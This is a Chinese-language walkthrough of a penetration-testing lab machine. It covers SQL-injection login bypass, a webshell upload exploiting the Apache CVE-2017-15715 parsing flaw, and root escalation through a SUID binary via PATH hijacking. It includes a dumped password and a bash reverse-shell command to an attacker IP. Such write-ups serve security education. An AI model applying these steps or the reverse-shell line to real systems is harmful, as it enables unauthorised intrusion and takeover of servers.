目录
简介
信息收集
漏洞发现
SQL注入漏洞
文件上传
Apache解析漏洞
漏洞利用
权限提升
普通用户Shell
SUID提权
总结
该靶机比较容易上手,通过SQL注入登录到上传页面,然后利用Apache解析漏洞获得WebShell,进而利用SQL注入获取到的密码切换到普通用户,最后利用SUID提升至root权限。
使用nmap扫描目标主机端口及服务,发现仅开启22和80端口,分别对应OpenSSH 7.6p1和Apache httpd 2.4.29服务,且操作系统为Ubuntu,如图:
通过搜索发现Apache 2.4.29存在解析漏洞(CVE-2017-15715),查看80端口Web服务,首页是一些图片,但在底部有登录链接,如图:
点击Login后页面转到了登录页,如图:
尝试常见弱口令无法登录。
尝试输入用户名和密码均为('=')测试是否存在SQL注入,如图:
成功登录,说明存在SQL注入漏洞,使用sqlmap测试如图:
使用--current-user查看发现当前用户为theseus@localhost,并不是root。进一步查看数据库Magic发现用户名和密码,如图:
使用该用户名和密码可以登录到上传页面。尝试使用用户名admin,theseus和密码Th3s3usW4sK1ng通过SSH登录目标主机失败。
尝试上传txt文件,发现只有服务器端做了白名单限制,仅允许JPG,JPEG和PNG文件上传。尝试使用00截断、畸形扩展名都无法绕过上传文件,文件后缀只能为jpg,jpeg和png。且上传后的文件在images/uploads/目录下,如图:
随便找一张jpg图片,使用copy /b shell.jpg+shell.php shell.jpg生成php图片马,shell.php中包含代码。尝试使用CVE-2017-15715绕过上传,重命名文件shell.php为shell.phpa.jpg,然后上传并拦截数据包,如图:
找到shell.phpa.jpg中'a'的二进制值'61'所在位置,如图:
然后修改为'0a',如图:
然后成功上传,如图:
访问图片地址发现没显示图片,而是成功解析了php代码,如图:
后来发现直接上传包含.php的图片文件就可以解析php代码,不用那么麻烦的修改二进制值。
如果觉得正常图片的数据会导致php代码解析时显示不美观,也可以创建test.php.jpg文件随便写入一写字符串,然后使用vim -b test.php.jpg以二进制格式打开文件,然后输入命令:%!xxd切换到十六进制模式,如图:
然后将数据修改为ffd8 ffe0,如图:
然后输入命令:%!xxd -r转回为二进制,然后保存退出。然后使用vim test.php.jpg打开文件,写入php代码,如图:
然后保存之后上传,如图:
这样显示就美观多了。
使用msfvenom生成反弹shell的文件,如图:
在本地开启监听,然后执行上传的文件成功获得WebShell,如图:
使用python3 -c 'import pty;pty.spawn("/bin/bash")'切换到虚拟终端,查看/etc/passwd,如图:
尝试使用数据库密码切换到普通用户,如图:
查看系统内核版本,如图:
内核较新,暂不尝试内核提权。查看sudo权限和SUID文件,如图:
在最后发现/bin/sysinfo,如图:
运行该程序可以看到CPU、内存和磁盘信息及使用情况。将pspy32上传到目标主机,然后将命令放入后台执行(./pspy32 &),再次执行/bin/sysinfo发现程序以root用户执行了lshw、fdisk和free命令,如图:
由于Linux中命令执行的优先级是:绝对路径或相对路径 > alias > 内部命令 > $PATH环境变量定义的目录查找顺序中找到的第一个命令。尝试使用alias劫持命令不起作有,然后使用PATH成功劫持命令。如图:
由于/bin/sh指向dash,直接使用bash命令会报错,尝试多次都无法直接使用bash反弹shell。最后发现执行echo 'echo "bash -i >&/dev/tcp/10.10.14.23/8443 0>&1" | /bin/bash' >lshw可以利用/bin/sysinfo反弹Shell了,如图:
对该靶机的渗透很流畅,容易卡住的应该是上传那里,可能会想尽一切方法绕过,如果卡在那里就应该在想想配合解析漏洞吧。